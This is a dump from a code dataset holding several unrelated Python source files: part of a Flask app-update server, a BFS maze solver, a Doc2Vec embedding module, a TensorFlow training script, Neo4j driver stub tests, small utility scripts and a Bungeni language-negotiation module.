result['code'] = '200'\n result['info'] = 'Success!'\n return json.dumps(result)\n\n\n@app.route(\"/appinfo/del/\", methods=['POST'])\n@login_required\n# 删除某个APP更新\ndef appinfo_del(update_id):\n uid = current_user.get_id() # 用户id\n if request.method == 'POST':\n # 连接数据库\n cur = mysql.connection.cursor()\n # 验证该APP是否属于该用户\n params = (update_id,)\n cur.execute(\"select uid from app where id in (select app_id from app_update where update_id=%s)\", params)\n rv = cur.fetchall()\n if len(rv) == 1 and rv[0][0] == int(uid):\n # 删除记录\n params = (update_id,)\n cur.execute(\"update app_update set enable=0 where update_id=%s\", params)\n mysql.connection.commit()\n result = OrderedDict()\n result['code'] = '200'\n result['info'] = 'Success!'\n return json.dumps(result)\n else:\n result = OrderedDict()\n result['code'] = '201'\n result['info'] = 'Failed!'\n return json.dumps(result)\n\n\n@app.route(\"/appinfo/disable/\", methods=['POST'])\n@login_required\n# 下线某个APP\ndef appinfo_disable(app_id):\n uid = current_user.get_id() # 用户id\n if request.method == 'POST':\n # 连接数据库\n cur = mysql.connection.cursor()\n # 验证该APP是否属于该用户\n params = (app_id,)\n cur.execute(\"select uid from app where id=%s\", params)\n rv = cur.fetchall()\n if len(rv) == 1 and rv[0][0] == int(uid):\n # 删除记录\n params = (app_id,)\n cur.execute(\"update app set disable=1 where id=%s\", params)\n mysql.connection.commit()\n result = OrderedDict()\n result['code'] = '200'\n result['info'] = 'Success!'\n return json.dumps(result)\n else:\n result = OrderedDict()\n result['code'] = '201'\n result['info'] = 'Failed!'\n return json.dumps(result)\n\n\n@app.route(\"/update/check\", methods=['GET', 'POST'])\n# 检查APP是否有更新\ndef update_check():\n logging.info(request.headers['X-Real-Ip'])\n if request.method == 'POST':\n # 连接数据库\n if request.form.get('app_id', None) is None:\n result = OrderedDict()\n result['code'] = '201'\n result['info'] = '请提供app_id!'\n return json.dumps(result)\n cur = mysql.connection.cursor()\n app_id = request.form['app_id']\n params = (app_id,)\n cur.execute(\"select app_name_en from app where id=%s\", params)\n rv_app = cur.fetchall()\n cur.execute(\"select app_id,version,size,time,info,app_dl_url,build_id,versionCode,expire_time from app_update where app_id=%s and enable=1 order by build_id desc limit 1\", params)\n rv = cur.fetchall()\n if len(rv_app) == 1 and len(rv) == 1:\n result = OrderedDict()\n result['code'] = '200'\n result['info'] = '数据获取成功!'\n result['app_id'] = str(rv[0][0])\n result['CFBundleIdentifier'] = rv_app[0][0]\n result['version'] = rv[0][1]\n result['size'] = rv[0][2]\n result['update_time'] = rv[0][3].strftime(\"%Y-%m-%d %H:%M:%S\")\n result['update_info'] = rv[0][4]\n result['dl_url'] = rv[0][5]\n result['build_id'] = str(rv[0][6])\n result['versionCode'] = str(rv[0][7])\n result['expire_time'] = str(rv[0][8])\n resp = jsonify(result)\n resp.headers['Access-Control-Allow-Origin'] = '*'\n return resp\n else:\n result = OrderedDict()\n result['code'] = '202'\n result['info'] = '未查询到数据!'\n resp = jsonify(result)\n resp.headers['Access-Control-Allow-Origin'] = '*'\n return resp\n else:\n result = OrderedDict()\n result['code'] = '203'\n result['info'] = '请使用http post提交!'\n resp = jsonify(result)\n resp.headers['Access-Control-Allow-Origin'] = '*'\n return resp\n\n\n@app.route(\"/app_list\", methods=['GET'])\n# 列出\ndef app_list():\n if request.method == 'GET':\n logging.info(request.headers['X-Real-Ip'])\n os_type = request.args.get('os')\n logging.info(os_type)\n # 连接数据库\n cur = mysql.connection.cursor()\n if os_type == 'ios' or os_type == 'iOS':\n cur.execute(\"select app.id,app.app_name_zh,app.app_icon,app.dl_page_url,app.os_type,user.uid,user.username_zh,app.dl_count from app,user where app.uid=user.uid and app.os_type=0 and (user.uid=2 or user.uid=3) and app.disable=0 order by app.id\")\n elif os_type == 'android' or os_type == 'Android':\n cur.execute(\"select app.id,app.app_name_zh,app.app_icon,app.dl_page_url,app.os_type,user.uid,user.username_zh,app.dl_count from app,user where app.uid=user.uid and app.os_type=1 and (user.uid=2 or user.uid=3) and app.disable=0 order by app.id\")\n else:\n cur.execute(\"select app.id,app.app_name_zh,app.app_icon,app.dl_page_url,app.os_type,user.uid,user.username_zh,app.dl_count from app,user where app.uid=user.uid and (user.uid=2 or user.uid=3) and app.disable=0 order by app.id\")\n rv = cur.fetchall()\n if len(rv) > 0:\n rv_list = [list(row) for row in rv]\n rv_list_title = ['ID', '名称', '图标', '下载链接', '平台', 'uid', '开发人员', '下载次数']\n i = 1\n for row in rv_list:\n row[0] = i\n row[2] = ''\n row[3] = '查看应用'\n if row[4] == 0:\n row[4] = 'iOS'\n elif row[4] == 1:\n row[4] = 'Android'\n else:\n row[4] = '未知'\n i += 1\n rv_list.insert(0, rv_list_title)\n return render_template('app_list.html', items=rv_list)\n else:\n return \"No data!\"\n\n\n@app.route(\"/dl/downloadcount\", methods=['GET', 'POST'])\n# 统计下载\ndef downloadcount():\n logging.info(request.headers['X-Real-Ip'])\n if request.method == 'POST':\n # 连接数据库\n if request.form.get('appid', None) is None:\n result = OrderedDict()\n result['code'] = '201'\n result['info'] = '请提供appid!'\n return json.dumps(result)\n cur = mysql.connection.cursor()\n appid = request.form['appid']\n #ip = request.form['ip']\n ip = request.headers['X-Real-Ip']\n pro = request.form['pro']\n city = request.form['city']\n address = request.form['address']\n latlon = request.form['latlon']\n addtime = unicode(datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"))\n params = (appid, ip, pro, city, address, latlon, addtime)\n cur.execute(\"insert into download(appid, ip, pro, city, address, latlon, addtime) values (%s, %s, %s, %s, %s, %s, %s)\", params)\n mysql.connection.commit()\n \n result = OrderedDict()\n result['code'] = '200'\n result['info'] = 'Success!'\n return json.dumps(result)\n else:\n result = OrderedDict()\n result['code'] = '203'\n result['info'] = '请使用http post提交!'\n return json.dumps(result)\n\n\n@app.route(\"/test\", methods=['GET'])\n# test\ndef test():\n if request.method == 'GET':\n logging.info(request.headers)\n logging.info(request.headers['User-Agent'])\n logging.info(request.headers['X-Real-Ip'])\n return \"test\"\n\n\n@app.errorhandler(401)\n# 未找到路由\ndef page_not_found(e):\n html_head = ''\n html_body = '

Page not found!

'\n html = html_head + html_body\n return Response(html)\n\n\n@login_manager.user_loader\n# 回调函数\ndef load_user(user_id):\n return User(user_id)\n\n\n@app.after_request\ndef add_header(response):\n response.headers['Cache-Control'] = 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0'\n return response\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":48512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"45494847","text":"import sys, collections\nsys.stdin = open(\"5105.미로의거리.txt\", \"r\")\n\ndef issafe(x, y):\n return (0 <= x < N and 0 <= y < N) and (maze[x][y] != 1)\n\ndef bfs(maze, start_x, start_y, end_x, end_y):\n\n visited[start_x][start_y]=1\n deq = collections.deque()\n deq.append([start_x, start_y])\n my_map[start_x][start_y] = 0\n\n while deq:\n temp = deq.popleft()\n\n if temp == [end_x, end_y]:\n return (my_map[end_x][end_y] - 1)\n\n for dir in range(4):\n test_x = temp[0] + dx[dir]\n test_y = temp[1] + dy[dir]\n\n if issafe(test_x, test_y):\n if visited[test_x][test_y] != 1:\n my_map[test_x][test_y] = my_map[temp[0]][temp[1]] + 1\n visited[test_x][test_y] = 1\n deq.append([test_x, test_y])\n\n return 0\n\n\nT = int(input())\n\nfor test_case in range(1, T+1):\n N = int(input())\n maze = [list(map(int, input())) for _ in range(N)]\n\n for i in range(N):\n for j in range(N):\n if maze[i][j] == 2:\n start_x, start_y = i, j\n if maze[i][j] == 3:\n end_x, end_y = i, j\n\n dx = (0, 0, 1, -1)\n dy = (1, -1, 0, 0)\n\n result = 0\n visited = [[0 for _ in range(N)] for _ in range(N)]\n my_map = [[0 for _ in range(N)] for _ in range(N)]\n\n result = bfs(maze, start_x, start_y, end_x, end_y)\n print('#{} {}'.format(test_case, result))","sub_path":"SWEA/수업/5105.미로의거리.py","file_name":"5105.미로의거리.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"355787394","text":"import numpy as np\nimport scipy as sp\nfrom sklearn.metrics import pairwise_distances\nfrom sklearn.utils.extmath import safe_sparse_dot\nfrom .keyword import proportion_keywords\nfrom .math import train_pmi\nfrom .vectorizer import dict_to_sparse\nfrom .vectorizer import label_word\nfrom .vectorizer import scan_vocabulary\nfrom .word2vec import Word2Vec\n\nclass Doc2Vec(Word2Vec):\n \"\"\"\n :param sentences: list of list of str (like)\n Iterable of iterables, optional\n A sentence is represented with list of str.\n :param size: int. passed to :py:func:`sklearn.decomposition.TruncatedSVD`.\n Word vector dimension\n Default is 100\n :param window: int\n The number of context words is 2 x window\n Default is 3\n :param min_count: int\n Minumum frequency of words\n Default is 10\n :param negative: int. passed to :py:func:`.pmi`.\n Number of negative samples. Minimum PMI is automatically\n defined with this value; log(negative)\n Default is 10\n :param alpha: float. passed to :py:func:`.pmi`.\n Nonnegative, PMI smoothing factor\n Default is 0.0\n :param beta: float. passed to :py:func:`.pmi`.\n 0 < beta <= 1, PMI smoothing factor.\n PMI_xy = log( Pxy / (Px x Py^beta) )\n Default is 0.75\n :param dynamic_weight: Boolean. passed to :py:func:`.vectorizer`.\n Use dynamic weight such as [1/3, 2/3, 3/3] for windows = 3 if True\n :param verbose: Boolean\n Verbose mode if True\n :param n_iter: int\n Number of SVD iteration.\n Default is 5\n :param min_cooccurrence: int\n Minimum number of co-occurrence count\n :param prune_point: int\n Number of sents to prune with min_count\n \"\"\"\n\n def __init__(self, sentences=None, size=100, window=3, min_count=10,\n negative=10, alpha=0.0, beta=0.75, dynamic_weight=False,\n verbose=True, n_iter=5, min_cooccurrence=5, prune_point=500000):\n\n super().__init__(sentences, size, window,\n min_count, negative, alpha, beta, dynamic_weight,\n verbose, n_iter, min_cooccurrence, prune_point)\n\n def train(self, doc2vec_corpus):\n \"\"\"\n :param doc2vec_corpus: utils.Doc2VecCorpus (like)\n It yield (labels, sent).\n The form of sent and labels are list of str\n \"\"\"\n\n if self.is_trained:\n raise ValueError('Doc2Vec model already trained')\n\n if not hasattr(doc2vec_corpus, 'yield_label'):\n raise ValueError('Input argument format is incorrect')\n\n doc2vec_corpus.yield_label = False\n self._vocab_to_idx, self._idx_to_vocab, self._idx_to_count = scan_vocabulary(\n doc2vec_corpus, min_count=self._min_count, verbose=self._verbose)\n self._vocab_to_idx_ = dict(self._vocab_to_idx.items())\n\n WW = self._make_word_context_matrix(\n doc2vec_corpus, self._vocab_to_idx)\n\n doc2vec_corpus.yield_label = True\n DW, self._label_to_idx = self._make_label_word_matrix(\n doc2vec_corpus, self._vocab_to_idx)\n self._idx_to_label = [label for label, idx\n in sorted(self._label_to_idx.items(), key=lambda x:x[1])]\n\n X = self._make_stacked_matrix(WW, DW)\n\n pmi, px, py = train_pmi(X, beta=self._beta, min_pmi=0)\n\n n_vocab = WW.shape[0]\n n_label = DW.shape[0]\n py_vocab = px[:,:n_vocab]\n py_vocab /= py_vocab.sum()\n self._py = py_vocab\n\n if self._verbose:\n print('train SVD ... ', end='')\n\n representation, transformer = self._get_repr_and_trans(pmi)\n\n self.wv = representation[:n_vocab]\n #self.dv = representation[n_vocab:]\n self._transformer = transformer[:n_vocab]\n self.n_vocabs = n_vocab\n self.dv = self.infer_docvec_from_vector(DW)\n\n if self._verbose:\n print('done')\n\n self._transformer_ = self._get_word2vec_transformer(WW)\n\n def _make_label_word_matrix(self, doc2vec_corpus, vocab_to_idx):\n label_to_idx, DWd = label_word(doc2vec_corpus, vocab_to_idx)\n DW = dict_to_sparse(\n dd = DWd,\n row_to_idx = label_to_idx,\n col_to_idx = vocab_to_idx)\n\n return DW, label_to_idx\n\n def _make_stacked_matrix(self, WW, DW):\n n_vocab = WW.shape[0]\n n_label = DW.shape[0]\n WD_W = sp.sparse.vstack([WW, DW])\n\n WD = DW.copy().transpose()\n rows, cols = WD.nonzero()\n data = WD.data\n WD_D = sp.sparse.csr_matrix(\n (data, (rows, cols)),\n shape=(n_vocab + n_label, n_label))\n X = sp.sparse.hstack([WD_W, WD_D]).tocsr()\n return X\n\n def _get_word2vec_transformer(self, WW):\n pmi_ww, _, _ = train_pmi(WW, py=self._py, beta=self._beta, min_pmi=0)\n _, transformer = self._get_repr_and_trans(pmi_ww)\n return transformer\n\n def _get_label_influence(self, pmi_ww):\n diff = compute_embedding_difference(\n self._transformer_, self._transformer, pmi_ww)\n influence = diff.mean()\n return influence, diff\n\n def similar_docs_from_bow(self, bow, topk=10):\n pmi_dw, _, _ = train_pmi(bow, py=self._py, beta=1, min_pmi=0)\n y = safe_sparse_dot(pmi_dw, self._transformer)\n return self.similar_docs_from_vector(y, topk)\n\n def similar_docs_from_vector(self, vector, topk=10):\n dist = pairwise_distances(vector, self.dv, metric='cosine')[0]\n similars = []\n for similar_idx in dist.argsort():\n if len(similars) >= topk:\n break\n similar_word = self._idx_to_label[similar_idx]\n similars.append((similar_word, 1-dist[similar_idx]))\n return similars\n\n def infer_docvec_from_corpus(self, doc2vec_corpus):\n DW, label_to_idx = self._make_label_word_matrix(\n doc2vec_corpus, self._vocab_to_idx)\n return self.infer_docvec_from_vector(DW, label_to_idx)\n\n def infer_docvec_from_vector(self, bow, label_to_idx=None):\n y = self.infer_wordvec_from_vector(\n bow, row_to_vocab=None, append=False)\n if label_to_idx is None:\n return y\n else:\n idx_to_label = [label for label in\n sorted(label_to_idx, key=lambda x:label_to_idx[x])]\n return y, idx_to_label\n\ndef label_proportion_keywords(doc2vec_model, doc2vec_corpus, is_stopword=None):\n\n doc2vec_corpus.yield_label = True\n vocab_to_idx = doc2vec_model._vocab_to_idx\n idx_to_vocab = doc2vec_model._idx_to_vocab\n\n # get label - term matrix\n DW, label_to_idx = doc2vec_model._make_label_word_matrix(\n doc2vec_corpus, vocab_to_idx)\n idx_to_label = [label for label in sorted(\n label_to_idx, key=lambda x:label_to_idx[x])]\n\n # train pmi\n pmi, _, _ = train_pmi(DW, doc2vec_model._py, min_pmi=0)\n\n # frequency weighted pmi\n n_labels, n_terms = DW.shape\n DW = DW.toarray()\n pmi_ = np.zeros((n_labels, n_terms))\n for i in range(n_labels):\n pmi_[i] = safe_sparse_dot(pmi[i].reshape(-1), np.diag(DW[i]))\n\n # extract keywords\n keywords = proportion_keywords(pmi_,\n index2word=idx_to_vocab, is_stopword=is_stopword)\n keywords = [(label, keyword) for keyword, label\n in zip(keywords, idx_to_label)]\n\n return keywords\n\ndef label_influence(doc2vec_model, doc2vec_corpus,\n batch_size=1000, topk=100, verbose=True):\n\n doc2vec_corpus.yield_label = False\n WW = doc2vec_model._make_word_context_matrix(\n doc2vec_corpus, doc2vec_model._vocab_to_idx)\n pmi_ww, _, _ = train_pmi(WW, py=doc2vec_model._py, beta=1, min_pmi=0)\n\n n = pmi_ww.shape[0]\n wvw = safe_sparse_dot(pmi_ww, w2v_transformer)\n wvd = safe_sparse_dot(pmi_ww, d2v_transformer)\n\n diff = np.zeros(n)\n max_batch = math.ceil(n / batch_size)\n for batch in range(max_batch):\n b = batch * batch_size\n e = min((batch + 1) * batch_size, n)\n dist_w = pairwise_distances(wvw[b:e], wvw, metric='cosine')\n dist_d = pairwise_distances(wvd[b:e], wvd, metric='cosine')\n dist = abs(dist_w - dist_d)\n dist.sort(axis=1)\n dist = dist[:,-topk:].mean(axis=1)\n diff[b:e] = dist\n\n if verbose:\n print('\\rcomputing label influence %d / %d' % (batch+1, max_batch), end='')\n if verbose:\n print('\\rcomputing label influence %d / %d done' % (max_batch, max_batch))\n\n return diff\n","sub_path":"text_embedding/doc2vec.py","file_name":"doc2vec.py","file_ext":"py","file_size_in_byte":8423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"132749300","text":"import argparse\nimport tensorflow as tf\nimport datetime\nimport pathlib\n\nfrom training_framework import TrainingFramework\nfrom tensorflow.contrib.training import HParams\nfrom datasets import *\nimport test_utils\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--model_type\")\n\nparser.add_argument(\"--dataset\",default=\"data/DIV2K_train_HR\")\nparser.add_argument('--test_dataset', default='data/kodak')\n\nparser.add_argument(\"--train_dir\",default=\"train\")\nparser.add_argument(\"--tensorboard\",default=\"tensorboard\")\nparser.add_argument(\"--savedir\",default=\"saved_models\")\n\nparser.add_argument(\"--model_name\",default=\"i_will_destroy_humans\")\nparser.add_argument(\"--checkpoint\", default=\"\") \nparser.add_argument(\"--metagraph\", default=\"\") \n\nparser.add_argument(\"--learning_rate\",default=7e-05, type=float)\nparser.add_argument(\"--decay_steps\",default=100000,type=int)\nparser.add_argument(\"--decay_rate\",default=0.92,type=float)\n\nparser.add_argument(\"--img_x\",default=39,type=int)\nparser.add_argument(\"--img_y\",default=39,type=int)\nparser.add_argument(\"--channels\",default=3,type=int)\n\nparser.add_argument(\"--quant_method\",default=0,type=int)\nparser.add_argument(\"--quant_size\",default=128.0,type=float)\n\nparser.add_argument(\"--batch_size\",default=16,type=int)\nparser.add_argument(\"--steps\",default=100000,type=int)\nparser.add_argument(\"--test_per_iterations\",default=500, type=int)\n\nparser.add_argument(\"--queue_capacity\",default=32, type=int) \n\nparser.add_argument(\"--max_alpha\",default=50.0,type=float)\nparser.add_argument(\"--alpha_div\",default=100000,type=float)\n\nargs = parser.parse_args()\n\nhparams = HParams()\nhyper_parameters = {\n 'model_type': args.model_type,\n \n 'train_dataset_path' : args.dataset,\n 'test_dataset_path' : args.test_dataset,\n\n 'checkpoint':args.checkpoint,\n 'metagraph':args.metagraph,\n \n 'in_img_width': args.img_x,\n 'in_img_height': args.img_y,\n 'channels': args.channels,\n\n 'quant_method': args.quant_method,\n 'quant_size': args.quant_size,\n\n 'learning_rate': args.learning_rate,\n 'decay_steps':args.decay_steps,\n 'decay_rate':args.decay_rate,\n \n 'batch_size': args.batch_size,\n 'steps': args.steps,\n 'test_per_iterations': args.test_per_iterations,\n 'queue_capacity':args.queue_capacity,\n\n 'max_alpha': args.max_alpha,\n 'alpha_div': args.alpha_div,\n}\nfor a,b in hyper_parameters.items():\n hparams.add_hparam(a, b)\n\n# Load data\ndata_generator = Dataset(hparams)\n\n# Prepare train dirs\nmodel_name = args.model_name + '_' + datetime.datetime.now().strftime(\"%Y_%m_%d__%H_%M_%S\")\nprint('Running model: ' + model_name)\nprint('Hyperparameters: ')\nfor a,b in hyper_parameters.items():\n print(str(a) + \":\" + str(b))\n\n\npathlib.Path(args.train_dir + '/' + args.savedir).mkdir(parents=True, exist_ok=True) \nsaved_models_dir = args.train_dir + '/' + args.savedir + '/' + model_name + '/' + 'tmp'\n\npathlib.Path(args.train_dir + '/' + args.tensorboard).mkdir(parents=True, exist_ok=True) \ntensorboard_train_dir = args.train_dir + '/' + args.tensorboard + '/' + model_name + '/train'\ntensorboard_test_dir = args.train_dir + '/' + args.tensorboard + '/' + model_name + '/test'\n\n# Build net\nnetwork = TrainingFramework(hparams, data_generator, model_name, saved_models_dir, test_utils.test_single_image)\nif hparams.checkpoint != '': \n print('To restore graph you need to put metagraph path and directorty that contains checkpoint')\n if hparams.metagraph == '':\n raise Exception(\"Put metagraph path!!!\")\n print('restoring checkpoint')\n network.restore(hparams.checkpoint, hparams.metagraph)\n print('restored')\n\n# Train net\ntrain_writer = tf.summary.FileWriter(tensorboard_train_dir, network.sess.graph)\ntest_writer = tf.summary.FileWriter(tensorboard_test_dir)\nnetwork.train(network.sess, train_writer, test_writer)\n\n","sub_path":"clic_train.py","file_name":"clic_train.py","file_ext":"py","file_size_in_byte":3819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"196435906","text":"import unittest, os\n\nfrom tests.shared import *\nfrom tests.stub.shared import *\nfrom nutkit.frontend import Driver, AuthorizationToken\nimport nutkit.protocol as types\n\nscript_accessmode_read = \"\"\"\n!: BOLT 4\n!: AUTO HELLO\n!: AUTO GOODBYE\n!: AUTO RESET\n\nC: BEGIN {\"mode\": \"r\"}\nS: SUCCESS {}\nC: RUN \"RETURN 1 as n\" {} {}\n PULL {\"n\": 1000}\nS: SUCCESS {\"fields\": [\"n\"]}\n SUCCESS {\"type\": \"r\"}\nC: COMMIT\nS: SUCCESS {}\n\"\"\"\nscript_accessmode_write = \"\"\"\n!: BOLT 4\n!: AUTO HELLO\n!: AUTO GOODBYE\n!: AUTO RESET\n\nC: BEGIN {}\nS: SUCCESS {}\nC: RUN \"RETURN 1 as n\" {} {}\n PULL {\"n\": 1000}\nS: SUCCESS {\"fields\": [\"n\"]}\n SUCCESS {\"type\": \"r\"}\nC: COMMIT\nS: SUCCESS {}\n\"\"\"\nscript_bookmarks = \"\"\"\n!: BOLT 4\n!: AUTO HELLO\n!: AUTO GOODBYE\n!: AUTO RESET\n\nC: BEGIN {\"bookmarks\": [\"b1\", \"b2\"]}\nS: SUCCESS {}\nC: RUN \"RETURN 1 as n\" {} {}\n PULL {\"n\": 1000}\nS: SUCCESS {\"fields\": [\"n\"]}\n SUCCESS {\"type\": \"r\"}\nC: COMMIT\nS: SUCCESS {}\n\"\"\"\nscript_txmeta = \"\"\"\n!: BOLT 4\n!: AUTO HELLO\n!: AUTO GOODBYE\n!: AUTO RESET\n\nC: BEGIN {\"tx_metadata\": {\"akey\": \"aval\"}}\nS: SUCCESS {}\nC: RUN \"RETURN 1 as n\" {} {}\n PULL {\"n\": 1000}\nS: SUCCESS {\"fields\": [\"n\"]}\n SUCCESS {\"type\": \"r\"}\nC: COMMIT\nS: SUCCESS {}\n\"\"\"\nscript_timeout = \"\"\"\n!: BOLT 4\n!: AUTO HELLO\n!: AUTO GOODBYE\n!: AUTO RESET\n\nC: BEGIN {\"tx_timeout\": 17}\nS: SUCCESS {}\nC: RUN \"RETURN 1 as n\" {} {}\n PULL {\"n\": 1000}\nS: SUCCESS {\"fields\": [\"n\"]}\n SUCCESS {\"type\": \"r\"}\nC: COMMIT\nS: SUCCESS {}\n\"\"\"\nscript_combined = \"\"\"\n!: BOLT 4\n!: AUTO HELLO\n!: AUTO GOODBYE\n!: AUTO RESET\n\nC: BEGIN {\"bookmarks\": [\"b0\"], \"tx_metadata\": {\"k\": \"v\"}, \"mode\": \"r\", \"tx_timeout\": 11}\nS: SUCCESS {}\nC: RUN \"RETURN 1 as n\" {} {}\n PULL {\"n\": 1000}\nS: SUCCESS {\"fields\": [\"n\"]}\n SUCCESS {\"type\": \"r\"}\nC: COMMIT\nS: SUCCESS {}\n\"\"\"\n\n\n# Verifies that session.beginTransaction parameters are sent as expected on the wire.\n# These are the different cases tests:\n# Read mode\n# Write mode\n# Bookmarks + write mode\n# Transaction meta data + write mode\n# Transaction timeout + write mode\n# Read mode + transaction meta data + transaction timeout + bookmarks\nclass TxBeginParameters(unittest.TestCase):\n def setUp(self):\n self._backend = new_backend()\n self._server = StubServer(9001)\n self._driverName = get_driver_name()\n uri = \"bolt://%s\" % self._server.address\n self._driver = Driver(self._backend, uri, AuthorizationToken(scheme=\"basic\"))\n\n def tearDown(self):\n self._backend.close()\n # If test raised an exception this will make sure that the stub server\n # is killed and it's output is dumped for analys.\n self._server.reset()\n\n def _run(self, accessMode, params=None, bookmarks=None, txMeta=None, timeout=None):\n session = self._driver.session(accessMode, bookmarks=bookmarks)\n try:\n tx = session.beginTransaction(txMeta, timeout)\n # Need to do something on the transaction, driver might do lazy begin\n tx.run(\"RETURN 1 as n\")\n tx.commit()\n finally:\n session.close()\n\n def test_accessmode_read(self):\n if self._driverName not in [\"dotnet\", \"go\"]:\n self.skipTest(\"Tx begin accessmode not implemented in backend\")\n self._server.start(script=script_accessmode_read)\n self._run(\"r\")\n self._driver.close()\n self._server.done()\n\n def test_accessmode_write(self):\n if self._driverName not in [\"dotnet\", \"go\"]:\n self.skipTest(\"Tx begin accessmode not implemented in backend\")\n self._server.start(script=script_accessmode_write)\n self._run(\"w\")\n self._driver.close()\n self._server.done()\n\n def test_bookmarks(self):\n if self._driverName not in [\"dotnet\", \"go\"]:\n self.skipTest(\"Tx begin bookmarks not implemented in backend\")\n self._server.start(script=script_bookmarks)\n self._run(\"w\", bookmarks=[\"b1\", \"b2\"])\n self._driver.close()\n self._server.done()\n\n def test_txmeta(self):\n if self._driverName not in [\"dotnet\", \"go\"]:\n self.skipTest(\"Tx begin meta not implemented in backend\")\n self._server.start(script=script_txmeta)\n self._run(\"w\", txMeta={\"akey\": \"aval\"})\n self._driver.close()\n self._server.done()\n\n def test_timeout(self):\n if self._driverName not in [\"dotnet\", \"go\"]:\n self.skipTest(\"Tx begin timeout not implemented in backend\")\n self._server.start(script=script_timeout)\n self._run(\"w\", timeout=17)\n self._driver.close()\n self._server.done()\n\n def test_combined(self):\n if self._driverName not in [\"dotnet\", \"go\"]:\n self.skipTest(\"Tx begin params not implemented in backend\")\n self._server.start(script=script_combined)\n self._run(\"r\", params={\"p\": types.CypherInt(1)}, bookmarks=[\"b0\"], txMeta={\"k\": \"v\"}, timeout=11)\n self._driver.close()\n self._server.done()\n\n","sub_path":"tests/stub/txparameters.py","file_name":"txparameters.py","file_ext":"py","file_size_in_byte":4937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"201021354","text":"\n#code to double the investment\n#you invest certain amount for certain interest rate\n#how long does it take for the the investment to be double\n\nyears =0\ninitialAmount= 100000\nrateOfInterest=6.99\n\ntargetAmount = initialAmount*2\n\nbalance = initialAmount #running total\n\nwhile(balance<=targetAmount):\n years +=1\n #calculate interest amount\n interestAmount=balance * rateOfInterest/100\n\n #update balalnce\n #this statemnent eventually changes the condition to false\n balance += interestAmount\n\n print(\"%02d : %.2f\" %(years, balance))\n\nmessage = \"The investment with the interest %.2f becomes double with the principle to %.2f in %d years\" %(interestAmount, balance, years)\n\nprint(message)","sub_path":"Compuound interest.py","file_name":"Compuound interest.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"220382529","text":"'''\nAuthor: Lisha Yang\nDate: 2021-09-28 03:54:43\nLastEditTime: 2021-09-28 15:06:30\nDescription: Build a parser to parse test data and source data(csv_par.csv)\nFilePath: /parse-fixed-width-file/parser.py\n'''\nimport csv\nfrom core import get_csv\n\ndef parser(sampledata):\n # Get source data \n fileName='csv_par.csv'\n parfile = get_csv.getCsv(csv_file=fileName)\n header = list(parfile[0].keys())\n\n # Compare new data width with parfile\n def comparValue(sampledata,col):\n if len(sampledata[0].get(col)) < len(parfile[0][col]):\n ad_num = len(parfile[0][col])-len(sampledata[0].get(col))\n sampledata[0][col] += ad_num * '*'\n\n if len(sampledata[0].get(col)) > len(parfile[0][col]):\n mi_num = len(parfile[0][col])\n sampledata[0][col] = sampledata[0][col][:mi_num]\n\n for col in header:\n comparValue(sampledata=sampledata, col=col)\n\n # Add parsed data into file\n parfile.extend(sampledata)\n\n try:\n with open('parsed.csv', 'w') as f:\n writer = csv.DictWriter(f, fieldnames=header)\n writer.writeheader()\n for elem in parfile:\n writer.writerow(elem)\n except IOError:\n print(\"I/O error\")","sub_path":"app/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"526894876","text":"# Bungeni Parliamentary Information System - http://www.bungeni.org/\n# Copyright (C) 2010 - Africa i-Parliaments - http://www.parliaments.info/\n# Licensed under GNU GPL v2 - http://www.gnu.org/licenses/gpl-2.0.txt\n\n\"\"\"Language Negotiation Utilities\n\n$Id$\n$URL$\n\"\"\"\nlog = __import__(\"logging\").getLogger(\"bungeni.core.language\")\n\nfrom zope import interface\nfrom zope.app.zapi import getUtilitiesFor\nfrom zope.publisher.browser import BrowserLanguages\nfrom zope.i18n.negotiator import normalize_lang\n\nfrom locale import getdefaultlocale\n\nfrom bungeni.core.interfaces import ILanguageProvider\nfrom bungeni.utils.capi import capi\nfrom bungeni.core.translation import get_request_language\nfrom bungeni.ui.utils.common import get_request\n\n\nclass BaseLanguageProvider(object):\n interface.implements(ILanguageProvider)\n\n def __call__(self):\n return normalize_lang(self.getLanguage())\n\n def getLanguage(self):\n raise NotImplementedError(\"Inheriting class must implement this\")\n\nclass SystemLanguage(BaseLanguageProvider):\n WEIGHT = 10\n\n def getLanguage(self):\n locale = getdefaultlocale()\n try:\n return locale[0]\n except IndexError:\n return None\n\nclass ApplicationLanguage(BaseLanguageProvider):\n WEIGHT = 9\n\n def getLanguage(self):\n return capi.application_language\n\nclass BrowserLanguage(BaseLanguageProvider):\n WEIGHT = 8\n\n def getLanguage(self):\n request = get_request()\n if request is not None:\n browser_langs = BrowserLanguages(request)\n langs = browser_langs.getPreferredLanguages()\n try:\n return langs[0]\n except IndexError:\n return None\n else:\n return None\n\nclass UILanguage(BaseLanguageProvider):\n WEIGHT = 7\n def getLanguage(self):\n return get_request_language()\n\ndef get_default_language():\n # !+LANGUAGE(murithi, mar2011) need to integrate weights in registration\n # of utilities but overriding/new classes can also reorder negotiation\n default_language = None\n language_providers = getUtilitiesFor(ILanguageProvider)\n provider_list = [(p[0], p[1]) for p in language_providers]\n sorted_providers = sorted(provider_list, key=lambda p: p[1].WEIGHT)\n for name, provider in sorted_providers:\n _language = provider()\n log.debug(\"Looking for language in %s found %s\", name, _language)\n if _language and (_language in capi.zope_i18n_allowed_languages):\n default_language = _language\n log.debug(\"Got default language as %s from provider %s\",\n _language, name)\n break\n return 